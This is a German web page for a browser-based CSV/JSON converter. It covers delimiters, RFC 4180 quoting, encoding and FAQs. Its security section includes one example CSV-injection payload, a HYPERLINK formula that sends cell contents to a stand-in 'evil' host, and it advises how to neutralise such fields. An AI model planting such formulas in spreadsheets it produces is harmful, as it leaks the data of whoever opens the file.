CSV ⇄ JSON Konverter

Beide Richtungen mit Trennzeichen-Auswahl

{{ error }}

Warum CSV und JSON?

CSV ist das De-facto-Format für tabellarische Daten aus Excel/Google Sheets — kompakt, vom Menschen lesbar, aber typenfrei. JSON ist strukturierter, kennt Typen (string, number, boolean, null, array, object) und ist nativer Bestandteil von Web-APIs. Beim Wechsel zwischen beiden ist die Header-Zeile entscheidend (wird zu Object-Keys). Achte auf Trennzeichen: in deutschsprachigen Excel-Versionen ist es das Semikolon, weil Komma der Dezimaltrenner ist.

Was ist CSV und was ist JSON?

CSV (Comma-Separated Values) ist ein einfaches Textformat, in dem jede Zeile einen Datensatz repräsentiert und die Felder durch ein Trennzeichen — meist Komma, Semikolon, Tabulator oder Pipe — getrennt sind. Es ist in RFC 4180 dokumentiert und wird von praktisch jedem Tabellenkalkulationsprogramm unterstützt.

JSON (JavaScript Object Notation) ist ein leichtgewichtiges, sprachunabhängiges Datenformat, das hierarchisch verschachtelte Objekte und Arrays unterstützt und Typen wie string, number, boolean, null kennt. JSON wurde von Douglas Crockford popularisiert und ist der De-facto-Standard für REST-APIs, Konfigurationsdateien und NoSQL-Datenbanken wie MongoDB.

Wann brauche ich eine Konvertierung?

  • Datenbank-Export: Du exportierst Tabellen aus MySQL, PostgreSQL oder einer anderen relationalen Datenbank als CSV und möchtest sie als JSON in eine MongoDB, Firestore oder Elasticsearch importieren.
  • API-Integration: Eine REST-API liefert JSON, du brauchst aber eine CSV-Tabelle für Excel oder ein BI-Tool wie Power BI / Tableau.
  • JavaScript-Entwicklung: Du hast eine Excel-Liste mit Produkten und möchtest sie als JSON-Array in einer Vue-, React- oder Node.js-App nutzen.
  • ETL & Migration: Bei einem System-Wechsel müssen Daten oft zwischen verschiedenen Formaten konvertiert werden — z.B. Legacy-CSV nach modernem JSON.

So funktioniert die Konvertierung Schritt für Schritt

  1. 1. Format und Richtung wählen: Entscheide dich für CSV → JSON oder JSON → CSV über die Buttons oben.
  2. 2. Trennzeichen festlegen: Komma, Semikolon, Tabulator oder Pipe. Bei deutschen Excel-Exporten ist es meist das Semikolon.
  3. 3. Header-Option prüfen: Aktiviere die Checkbox "Erste Zeile = Header", wenn deine erste Zeile Spaltennamen enthält. Diese werden dann zu Schlüsseln in den JSON-Objekten.
  4. 4. Daten einfügen: Füge deine Daten in das linke Eingabefeld ein. Die Konvertierung läuft live, das Ergebnis erscheint sofort rechts und kann kopiert werden.

Häufige Probleme mit CSV-Dateien

  • Trennzeichen-Erkennung: CSV ist nicht standardisiert genug. Manche Tools verwenden Komma, andere Semikolon, wieder andere Tabulator. Versuche im Zweifelsfall mehrere Optionen.
  • Anführungszeichen-Escaping: Wenn ein Feld das Trennzeichen oder einen Zeilenumbruch enthält, muss es in Anführungszeichen gesetzt werden. Anführungszeichen im Feld werden durch zwei doppelte Anführungszeichen "" escapt (RFC 4180).
  • Encoding (UTF-8 vs. Latin-1): Umlaute und Sonderzeichen können bei falschem Zeichensatz zu Mojibake (z.B. für) führen. UTF-8 ist heute der empfohlene Standard.
  • Header-Zeile: Fehlt sie, wird das CSV als Array von Arrays interpretiert, statt als Array von Objekten. Achte auf konsistente Header ohne Sonderzeichen, wenn die Keys später in Code verwendet werden.

Beispiel: CSV → JSON

Aus folgendem CSV-Input:

name,age,role,city
Alice,30,admin,"Berlin, DE"
Bob,25,user,Munich
Charlie,35,editor,"Bremen"

...erzeugt das Tool diesen JSON-Output:

[
  { "name": "Alice",   "age": "30", "role": "admin",  "city": "Berlin, DE" },
  { "name": "Bob",     "age": "25", "role": "user",   "city": "Munich" },
  { "name": "Charlie", "age": "35", "role": "editor", "city": "Bremen" }
]

Häufig gestellte Fragen (FAQ)

Werden meine Daten an einen Server gesendet?

Nein. Die Konvertierung läuft komplett im Browser über JavaScript. Deine Daten verlassen niemals dein Gerät. Du kannst die Seite sogar offline nutzen, nachdem sie einmal geladen wurde.

Welche Trennzeichen werden unterstützt?

Vier gängige Trennzeichen: Komma (,), Semikolon (;), Tabulator und Pipe (|). Du wählst es per Dropdown direkt über dem Eingabefeld.

Wie geht das Tool mit Anführungszeichen im Inhalt um?

Nach RFC 4180: Felder mit Trennzeichen, Zeilenumbruch oder Anführungszeichen werden in doppelte Anführungszeichen gehüllt, und Anführungszeichen im Feld werden durch "" verdoppelt. Das Tool unterstützt diese Konvention beim Parsen und Schreiben.

Kann ich auch JSON nach CSV konvertieren?

Ja. Klicke einfach auf JSON → CSV über dem Eingabefeld. Das Tool unterstützt beide Richtungen mit identischer Trennzeichen- und Quote-Logik. Das JSON sollte ein Array von Objekten oder ein Array von Arrays sein.

Gibt es eine Grenze für die Dateigröße?

Da alles im Browser läuft, hängt die maximale Größe vom verfügbaren Arbeitsspeicher deines Geräts ab. Für die meisten Anwendungsfälle (bis ca. 10–20 MB) ist das Tool reaktionsschnell. Für sehr große Dateien sind dedizierte CLI-Tools wie jq oder csvkit oft besser geeignet.

CSV und JSON im Detail: Standards, Stärken, Grenzen

Comma-Separated Values existiert seit den 1970er-Jahren, wurde aber erst 2005 in RFC 4180 halbwegs standardisiert. CSV ist deshalb attraktiv, weil es kompakt, zeilenweise streambar und mit jedem Tool von cat bis Excel lesbar ist. Eine Datei besteht aus Zeilen, die durch CR/LF getrennt sind, und Feldern, die durch ein Trennzeichen separiert werden — meist Komma im US-Raum, Semikolon in Europa (weil das Komma als Dezimaltrenner reserviert ist), Tab in Logs oder Pipe in alten Mainframe-Exports. Anführungszeichen umschließen Felder, die das Trennzeichen, Zeilenumbrüche oder selbst Anführungszeichen enthalten — letztere werden verdoppelt ("He said ""hi""").

JSON dagegen ist 2017 in RFC 8259 (und parallel ECMA-404) klar definiert: UTF-8 ist Pflicht, Typen sind string, number, boolean, null, object und array. JSON ist verschachtelbar und selbstbeschreibend, dafür weniger kompakt als CSV. Für tabellarische Daten wandeln Sie eine CSV-Zeile in ein Objekt mit den Header-Namen als Keys; ein typisches API-Response oder NDJSON-Stream besteht aus einer Liste solcher Objekte. Unser Tool macht beides: CSV → Array of Objects, oder umgekehrt JSON-Array → CSV mit automatisch ermittelten Headern.

Wann nehmen Sie was? CSV gewinnt bei großen, flachen Datasets, die in Tabellen passen — Exporte, Logs, Bulk-Imports. JSON gewinnt bei verschachtelten Strukturen, APIs und allem, was Typen tragen muss. Wer beides braucht, nutzt CSV als Transport und JSON als Arbeitsformat — genau dafür ist dieses Tool gedacht.

So konvertieren Sie zwischen CSV und JSON

Die Konvertierung läuft komplett im Browser — kein Upload, keine Datenübertragung. Folgen Sie diesen Schritten:

  1. Wählen Sie die Richtung: CSV → JSON wenn Sie z.B. einen Excel-Export weiterverarbeiten wollen, oder JSON → CSV wenn Sie API-Antworten in Tabellen exportieren möchten.
  2. Stellen Sie den korrekten Delimiter ein. Deutsche Excel-Dateien nutzen typischerweise ;, US-Dateien ,, Log-Exporte oft Tab (\t). Bei JSON → CSV bestimmt der Delimiter das Trennzeichen der Ausgabe.
  3. Setzen Sie das Häkchen "Header Row", wenn die erste Zeile Spaltennamen enthält. Ohne Header-Zeile erhalten Sie ein Array von Arrays, mit Header-Zeile ein Array von Objekten mit den Spaltennamen als Schlüssel.
  4. Fügen Sie Ihre CSV- oder JSON-Daten links ein. Der Parser respektiert RFC-4180-Quoting: Felder mit Komma oder Zeilenumbruch in doppelten Anführungszeichen, eingebettete Quotes verdoppelt ("").
  5. Das Ergebnis erscheint rechts. Kopieren Sie es in Ihre curl-Payload, ein fetch()-Body oder eine jq-Pipeline. Bei Fehlern zeigt das Tool die Fehlermeldung unter den Feldern an.

Praxisbeispiele

Diese typischen Konvertierungsfälle zeigen, was das Tool akzeptiert:

  • Standard-CSV mit Header: id,name,age + Datenzeilen ergibt [{"id":"1","name":"Anna","age":"30"},...].
  • Felder mit Komma: "Berlin, DE" bleibt ein einzelnes Feld, weil RFC-4180-Quoting greift. Im JSON wird daraus "city":"Berlin, DE".
  • Eingebettete Quotes: "He said ""hi""" wird zu He said "hi". Beim Rückweg JSON → CSV werden Quotes automatisch wieder verdoppelt.
  • Deutsche Excel-Datei mit Semikolon: Name;Alter;Stadt + Müller;42;Köln. Stellen Sie den Delimiter auf ; und das Tool liefert [{"Name":"Müller","Alter":"42","Stadt":"Köln"}].
  • JSON → CSV mit fehlenden Keys: [{"a":1,"b":2},{"a":3}] wird zu a,b\n1,2\n3,. Das Tool sammelt automatisch die Vereinigung aller Schlüssel als Headerzeile.

Grenzen, Edge Cases und Sicherheitshinweise

Drei Themen erleben CSV-Nutzer besonders oft. Erstens Typen: CSV kennt nur Strings. Beim Konvertieren bleibt "42" ein String, nicht eine Zahl. Wer typisierte JSON-Werte braucht, muss nachgelagert per parseInt, parseFloat oder einem Schema-Validator wie Zod, Yup oder JSON Schema konvertieren — automatische Typ-Inferenz ist gefährlich, weil Postleitzahlen wie 00123 zu 123 werden und Telefonnummern ihre führenden Nullen verlieren. Zweitens Encoding: CSV definiert keinen Charset. Excel speichert auf Windows oft Windows-1252 oder UTF-16 mit BOM, während UNIX-Tools UTF-8 erwarten. Wenn Sie Umlaute oder Emoji im Output zerschossen sehen (Müller wird zu Müller), war die Quelldatei nicht UTF-8 — vorher mit iconv -f WINDOWS-1252 -t UTF-8 oder "Speichern unter UTF-8" in Excel umwandeln. Drittens und sicherheitskritisch — CSV-Injection: Felder, die mit =, +, - oder @ beginnen, werden in Excel und Google Sheets als Formel interpretiert. Ein Angreifer könnte ein Feld =HYPERLINK("http://evil/exfil?"&A1, "Click") einschleusen, und beim Öffnen exfiltriert die Tabelle Daten. Wenn Sie CSV für unbekannte Nutzer generieren, prefixen Sie solche Felder mit einem Apostroph ' oder einem Leerzeichen. JSON hat dieses Problem nicht, da es kein Formel-Interpretationsmodell kennt.

Weitere häufige Fragen

Wie behandle ich Zahlen, die als Strings ankommen?
CSV kennt keine Typen — alles ist Text. Nach der Konvertierung in JSON sind "42" und "3.14" immer noch Strings. Wenn Sie typisierte Werte brauchen, mappen Sie das JSON-Ergebnis durch Number() oder eine Schema-Validierung (Zod, Yup, JSON Schema). Vorsicht bei Identifiern wie Postleitzahlen oder Artikelnummern, die führende Nullen tragen.
Mein deutsches Excel speichert mit Semikolon — wie konvertiere ich das?
Stellen Sie den Delimiter im Dropdown auf ;. Excel-DE nutzt Semikolon, weil das Komma als Dezimaltrenner reserviert ist. Achten Sie zusätzlich auf das Encoding — Excel speichert oft Windows-1252 statt UTF-8; in dem Fall vorher mit "Speichern unter" als CSV UTF-8 ablegen.
Was passiert mit Werten, die selbst ein Komma enthalten?
Diese Felder müssen in doppelten Anführungszeichen stehen, wie "Berlin, DE". Der Parser folgt RFC 4180: Anführungszeichen wirken nur am Feldanfang und -ende, und ein Quote innerhalb eines gequoteten Felds wird durch "" dargestellt.
Was ist CSV-Injection und wie schütze ich mich?
Felder, die mit =, +, - oder @ beginnen, werden in Excel und Google Sheets als Formel interpretiert und können beim Öffnen Daten exfiltrieren oder externe URLs abfragen. Wenn Sie CSV für andere generieren, prefixen Sie solche Felder mit einem Apostroph ' oder maskieren Sie sie serverseitig.
Kann ich verschachteltes JSON in CSV exportieren?
Nur eingeschränkt. CSV ist flach — verschachtelte Objekte und Arrays müssen vorher serialisiert (z.B. als JSON-String in eine Zelle) oder flachgeklopft werden (z.B. address.street als eigene Spalte). Unser Tool verarbeitet Top-Level-Properties direkt; verschachtelte Werte landen als [object Object]-Repräsentation, was meist nicht gewünscht ist.
Verlässt meine Datei dabei den Browser?
Nein. Die gesamte Konvertierung passiert clientseitig per JavaScript. CalcSI sieht weder Inhalte noch Größe der Daten, es gibt keinen Upload. Sie können die Seite laden, das Netzwerk trennen und weiterarbeiten.

Verwandte Tools